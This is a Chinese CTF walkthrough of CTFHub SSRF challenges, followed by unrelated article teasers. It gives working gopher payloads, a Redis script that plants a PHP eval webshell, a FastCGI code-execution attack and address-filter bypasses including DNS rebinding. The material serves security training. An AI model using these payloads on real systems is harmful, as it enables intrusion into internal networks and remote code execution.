CTFHub SSRF-程序员宅基地

技术标签: # CTFHub-Web  

SSRF简介

  • SSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统,也正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统,也就是说可以利用一个网络请求的服务,当作跳板进行攻击
  • 攻击者利用了可访问Web服务器(A)的特定功能 构造恶意payload;攻击者在访问A时,利用A的特定功能构造特殊payload,由A发起对内部网络中系统B(内网隔离,外部不可访问)的请求,从而获取敏感信息,此时A被作为中间人(跳板)进行利用
  • SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤和限制;例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片、下载等,利用的就是服务端请求伪造,SSRF利用存在缺陷的WEB应用作为代理攻击远程和本地的服务器

漏洞攻击方式

  • 对外网,服务器所在内网,本地进行端口扫描(挨个试探),获取一些服务的banner信息
  • 攻击运行在内网或本地的应用程序
  • 对内网Web应用进行指纹识别,识别企业内部的资产信息,通过访问默认文件实现(如:readme文件)
  • 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如strust2,SQli等)
  • 下载内网资源,利用file协议读取本地文件或资源等
  • 内部任意主机的任意端口发送精心构造的Payload
  • DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
  • 进行跳板
  • 利用Redis未授权访问,HTTP CRLF注入实现getshell

CTFHub SSRF靶场

在这里插入图片描述

第一部分(http、dict和file等协议的利用)

内网访问

题目描述:尝试访问位于127.0.0.1的flag.php吧

Payload

http://challenge-eb4649dbccfa6c7d.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php

伪协议读取文件

题目描述:尝试去读取一下Web目录下的flag.php吧

在ssrf中常用的伪协议就是file:///协议,其在ssrf中可以用来读取php源码

Payload

http://challenge-36595a4428f0685b.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php

执行后在源代码中查看flag

端口扫描

题目描述:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,

题给是内网端口扫描,利用ssrf漏洞探测目标主机上还开放了哪些端口,在ssrf中dict协议http协议可用来探测内网的主机存活与端口开放情况

用burpsuite抓包来爆破内网的主机存活与端口开放情况,发现8845端口上存在Apache的web服务

在这里插入图片描述

Payload

http://challenge-86b3590a2c824149.sandbox.ctfhub.com:10800/?url=http://127.0.0.1:8845

第二部分(Gopher协议的利用)

Gopher协议HTTP协议出现之前,在Internet上常见且常用的一个协议,不过现在Gopher协议用得已经越来越少了Gopher协议可以说是ssrf中的万金油,利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求,极大拓宽了ssrf的攻击面

POST请求

题目描述:这次是发一个HTTP POST请求,对了,ssrf是用php的curl实现的,并且会跟踪302跳转,加油吧骚年

用dirsearch扫描一下:http://challenge-aa5afefd4daec439.sandbox.ctfhub.com:10800/

在这里插入图片描述
在这里插入图片描述

读index.php的源码

http://challenge-aa5afefd4daec439.sandbox.ctfhub.com:10800/?url=file:///var/www/html/index.php
<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

读flag.php的源码

http://challenge-aa5afefd4daec439.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

用Gopher协议构造post请求

import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=c384d200658f258e5b5c681bf0aa29a8
"""  

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

在这里插入图片描述

Payload

http://challenge-aa5afefd4daec439.sandbox.ctfhub.com:10800/?url=gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dc384d200658f258e5b5c681bf0aa29a8%250D%250A

上传文件

题目描述:这次需要上传一个文件到flag.php了,祝你好运

和上一题一样扫描一下web目录,读flag.php的源码

http://challenge-0b92a02269b5fb44.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    
    echo getenv("CTFHUB");
    exit;
}
?>

Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>

可以发现flag.php确实是个文件上传的页面,且仅要求上传的文件大小大于0即可得到flag,并没有任何过滤,尝试利用gopher协议上传文件

随便上传一个非空的文件,然后抓包,利用脚本构造Payload

在这里插入图片描述
在这里插入图片描述

import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 281
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge-0b92a02269b5fb44.sandbox.ctfhub.com:10800
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryP1tAFG8gw3Q8NTg6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-0b92a02269b5fb44.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
Accept-Encoding: gzip, deflate
Accept-Language: en-CN,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundaryP1tAFG8gw3Q8NTg6
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain

111
------WebKitFormBoundaryP1tAFG8gw3Q8NTg6
Content-Disposition: form-data; name="submit"

鎻愪氦
------WebKitFormBoundaryP1tAFG8gw3Q8NTg6--
"""  

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

Payload

http://challenge-0b92a02269b5fb44.sandbox.ctfhub.com:10800/?url=gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520281%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AOrigin%253A%2520http%253A//challenge-0b92a02269b5fb44.sandbox.ctfhub.com%253A10800%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryP1tAFG8gw3Q8NTg6%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/92.0.4515.131%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.9%250D%250AReferer%253A%2520http%253A//challenge-0b92a02269b5fb44.sandbox.ctfhub.com%253A10800/%253Furl%253Dfile%253A///var/www/html/flag.php%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AAccept-Language%253A%2520en-CN%252Cen%253Bq%253D0.9%252Czh-CN%253Bq%253D0.8%252Czh%253Bq%253D0.7%252Cen-US%253Bq%253D0.6%250D%250AConnection%253A%2520close%250D%250A%250D%250A------WebKitFormBoundaryP1tAFG8gw3Q8NTg6%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250A111%250D%250A------WebKitFormBoundaryP1tAFG8gw3Q8NTg6%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E9%258E%25BB%25E6%2584%25AA%25E6%25B0%25A6%250D%250A------WebKitFormBoundaryP1tAFG8gw3Q8NTg6--%250D%250A

在这里插入图片描述

FastCGI协议

题目描述:这次,我们需要攻击一下fastcgi协议咯,也许附件的文章会对你有点帮助

FastCGI:

  • 快速通用网关接口(FastCommon Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议,FastCGI是早期通用网关接口(CGI)的增强版本,FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求

php-fpm

  • 官方对php-fpm的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的,也就是说php-fpm是FastCGI的一个具体实现,其默认监听9000端口

php-fpm攻击实现原理

  • 想要分析它的攻击原理需要从FastCGI协议封装数据内容来看,这里仅对攻击原理做简要描述,CGI 和 FastCGI 协议的运行原理这篇文章中详细介绍了FastCGI协议的内容,其攻击原理就是在设置环境变量实际请求中会出现一个SCRIPT_FILENAME’: '/var/www/html/index.php这样的键值对,它的意思是php-fpm会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制php-fpm去执行某个已经存在的文件,不能够实现一些恶意代码的执行
  • 而在php5.3.9后来的版本中,php增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件,这也增大了攻击的难度,但是好在php官方允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置
  • 那么当设置php环境变量为:auto_prepend_file = php://input;allow_url_include = On时,就会在执行php脚本之前包含环境变量auto_prepend_file所指向的文件内容,php://input也就是接收POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm任意代码执行的攻击,详情请看:https://bbs.ichunqiu.com/thread-58455-1-1.html

使用Gopherus工具生成攻击FastCGI的payload

利用条件:

  • libcurl版本>=7.45.0
  • PHP-FPM监听端口
  • PHP-FPM版本 >= 5.3.3
  • 知道服务器上任意一个php文件的绝对路径

在这里插入图片描述

然后进行二次编码后将最终的payload内容放到?url=后面发送过去(这里需要进行两次编码,因为这里GET会进行一次解码,curl也会再进行一次解码)

在这里插入图片描述

用蚁剑连接webshell

在这里插入图片描述
在这里插入图片描述

Redis协议

题目描述:这次来攻击redis协议吧,redis://127.0.0.1:6379,,资料?没有资料!自己找!

利用SSRF对目标主机上的Redis进行未授权访问攻击,探测一下目标主机开启的端口,在6379端口发现Redis的报错

在这里插入图片描述

利用未授权访问攻击Redis的方法有很多,可以写webshell、反弹shell,也可以写ssh公钥,这里采用写webshell的方法
构造redis命令

flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
import urllib.parse
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
        cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))
    print(urllib.parse.quote(payload))    # 由于我们这里是GET,所以要进行两次url编码

Payload

http://challenge-4729e7001fe71c25.sandbox.ctfhub.com:10800/?url=gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

第三部分(Bypass)

URL Bypass

题目描述:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

题目说url必须以 http://notfound.ctfhub.com 开头,我们可以利用@来绕过,如 http://[email protected]实际上是以用户名 whoami 连接到站点127.0.0.1,即 http://[email protected]http://127.0.0.1请求是相同的,该请求得到的内容都是127.0.0.1的内容

Payload

http://challenge-c47ec8d53b1d2c1b.sandbox.ctfhub.com:10800/?url=http://[email protected]/flag.php

在这里插入图片描述

数字IP Bypass

题目描述:这次ban掉了127以及172,不能使用点分十进制的IP了,但是又要访问127.0.0.1,该怎么办呢

  • 方法一:可以使用一些不同的进制替代ip地址,从而绕过WAF,这里给出个php脚本可以一键转换
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
    
$r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>
十进制:2130706433    八进制:0177.0.0.1    十六进制:0x7f.0.0.1

在这里插入图片描述

  • 方法二:利用其他各种指向127.0.0.1的地址
http://localhost/
http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://①②⑦.⓪.⓪.①

在这里插入图片描述

302跳转 Bypass

题目描述:SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

方法一:在网络上存在一个很神奇的服务,网址为http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,例如访问 http://127.0.0.1.xip.io/flag.php,实际上访问的就是http://127.0.0.1/flag.php

http://0.xip.io/flag.php
http://localhost.xip.io/flag.php
http://①②⑦.⓪.⓪.①.xip.io/flag.php

方法二:利用短地址跳转绕过,https://4m.cn/
直接使用生成的短连接https://4m.cn/FjOdQ就会自动302跳转到http://127.0.0.1/flag.php上,这样就可以绕过WAF了

DNS重绑定 Bypass

题目描述:关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助

对于常见的IP限制,后端服务器可能通过下图的流程进行IP过滤

在这里插入图片描述

  • 对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉
  • 但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击,我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可
  • 要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行攻击了,完整的攻击流程为:
    1、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
    2、对于获得的IP进行判断,发现为非黑名单IP,则通过验证
    3、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址
    4、由于已经绕过验证,所以服务器端返回访问内网资源的结果
    参考:https://www.freebuf.com/articles/web/135342.html
  • 但是它只能在2个IP之间随机变化,因此往往需要发送多个请求才能得到结果

Payload

http://challenge-f273b5d6478c655e.sandbox.ctfhub.com:10800/?url=7f000001.2f653948.rbndr.us/flag.php

在这里插入图片描述

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/LYJ20010728/article/details/119546002

智能推荐

【FFmpeg】ffmpeg命令详解(一)_ffmpeg -vf命令-程序员宅基地

文章浏览阅读5k次。1、命令格式ffmpeg [global_options] {[input_file_options] -i input_url} ... {[output_file_options] output_url} ...global_options:全局选项input_file_options:输入文件相关的选项output_file_options:输出文件相关的选项-i input_url:输入文件,可以有多个输入文件,每个输入文件前都要加“-i”选项output_url:输出文件2、简述_ffmpeg -vf命令

emWin 学习使用笔记 (3)_emwin demo-程序员宅基地

文章浏览阅读130次。原来想既然STemWin对此要求不高,随便找个版本就行,从VC6.0到VC2015,结果遇到莫名奇妙的许多问题(可能不是正版造成的吧),后来去微软官网下载了VC2022的专业版又有1个月的使用限制,唉!简单使用的方法,使我们对STemWin快捷的感受了一下它的尊容。实际它的内容还很丰富!要想达到能做点事的水平,需要踏踏实实的学习一番。StemWin提供了丰富的DEMO例程,重点就是学这个啦!该公司做了大量的编写及归纳整理工作,实际这里的基本就够啦。(1) 笔记本或一台电脑,我用的Win10。_emwin demo

【jQuery 冻结任意行列】冻结任意行和列的jQuery插件-程序员宅基地

文章浏览阅读417次。 实现原理:创建多个div,div之间通过css实现层叠,每个div放置当前表格的克隆。例如:需要行冻结时,创建存放冻结行表格的div,通过设置z-index属性和position属性,让冻结行表格在数据表格的上层。同理,需要列冻结时,创建存放冻结列表格的div,并放置在数据表格的上层。如果需要行列都冻结时,则除了创建冻结行、冻结列表格的div,还需要创建左上角的固定行列表格的d..._列冻结列解冻jquery

第二周项目4求一个正整数的各位数字之和_输入一个整数求各位数字之和时间复杂度-程序员宅基地

文章浏览阅读1.2k次。问题及描述:/* *Copyright(c++)2015,烟台大学计算机学院 *All rights reserved, *文件名称:test.cpp *作 者:程梦莹 *完成日期:2015年9月12日 *版本号:v1.0 *问题描述:计算任一输入的正整数的各位数字之和,并分析算法的时间复杂度 *输入描述:一个整数 */#include_输入一个整数求各位数字之和时间复杂度

微型计算机原理与接口实验报告,微型计算机原理及接口技术实验报告.docx-程序员宅基地

文章浏览阅读3.6k次。成都理工大学微型计算机原理及接口技术实验报告学 院 : 核技术与自动化工程学院专 业 : 电气工程及其自动化班 级 :学 号 :姓 名 :指导老师 :完成时间 :实验一 EMU 8086软件的使用1、实验目的通过对emu8086的使用,来理解《微型计算机原理及接口技术》课本上的理论知识,加深对知识的运用,以及emu8086交互式学习汇编语言(Assembly ..._微机原理与接口技术emu8086课题总结

如何在Vue中使用百度地图API来创建地图应用程序。_百度地图js api3.0怎么转换成vue-程序员宅基地

文章浏览阅读450次,点赞3次,收藏3次。Vue是一款流行的JavaScript框架,它提供了一种简单而灵活的方式来构建交互式的Web前端应用程序。在许多Web应用程序中,地图显示和地理位置信息都是必不可少的功能。而百度地图是一款流行的地图服务提供商,提供了一系列API来帮助开发者创建交互式的地图应用程序。本篇教程将介绍如何在Vue应用程序中使用百度地图API来创建地图应用程序。通过本篇教程,您将学习到如下内容:如何获得百度地图AK密钥如何在Vue中引入百度地图API如何在Vue中使用百度地图API来创建地图应用程序。_百度地图js api3.0怎么转换成vue

随便推点

7-35 jmu-Java&Python-统计文字中的单词数量并按出现次数排序-程序员宅基地

文章浏览阅读1.3k次。7-35 jmu-Java&Python-统计文字中的单词数量并按出现次数排序_jmu-java&python-统计文字中的单词数量并按出现次数排序

C语言——三位数的百位,十位,个位分别输出_输入一个三位数,输出它的百位,十位,个位-程序员宅基地

文章浏览阅读3.5w次,点赞16次,收藏39次。b=number/10%10=520/10%10=52%10,“%”是取余符号,即52%10=5*10余2,%符号取得就是这个2。a=number/100=520/100,如果是正常计算的话应该等于5.2,但是“a”是int型属于整形,也就是说取它的整数部分。c=number%10;printf("百位数是%d\n",a);printf("十位数是%d\n",b);printf("个位数是%d\n",c);printf("请输入一个三位数\n");..._输入一个三位数,输出它的百位,十位,个位

Android Reveal圆形Activity转场动画_reveal动画-程序员宅基地

文章浏览阅读2k次。一、效果二、知识点CircularReveal动画、透明主题、转场动画(非必须)三、方案假设有两个Activity A和B。Reveal圆形Activity转场动画效果先从A到B,那么基本方案如下:确定要显示的圆形动画中心起点位置通过Intent将起点位置从Activity A传递BActivity B主题需要是透明的,同时先隐藏布局视图在Activity A中启动Activi..._reveal动画

使用pako.js压缩、解压数据-程序员宅基地

文章浏览阅读4.7k次。pako.js压缩和解压请求参数和响应数据_pako.js

markdown模板(个人使用)_markdown 模板-程序员宅基地

文章浏览阅读4.8k次,点赞6次,收藏25次。自用CSDN的markdown模板_markdown 模板

Playing with a Freight robot: Part 1-程序员宅基地

文章浏览阅读78次。1. Freight robotThe Fetch and Freight Research Edition Robots are indoor laboratory robots.Coordinate SystemThe coordinate frames for all links in the Fetch and Freight are defined with pos...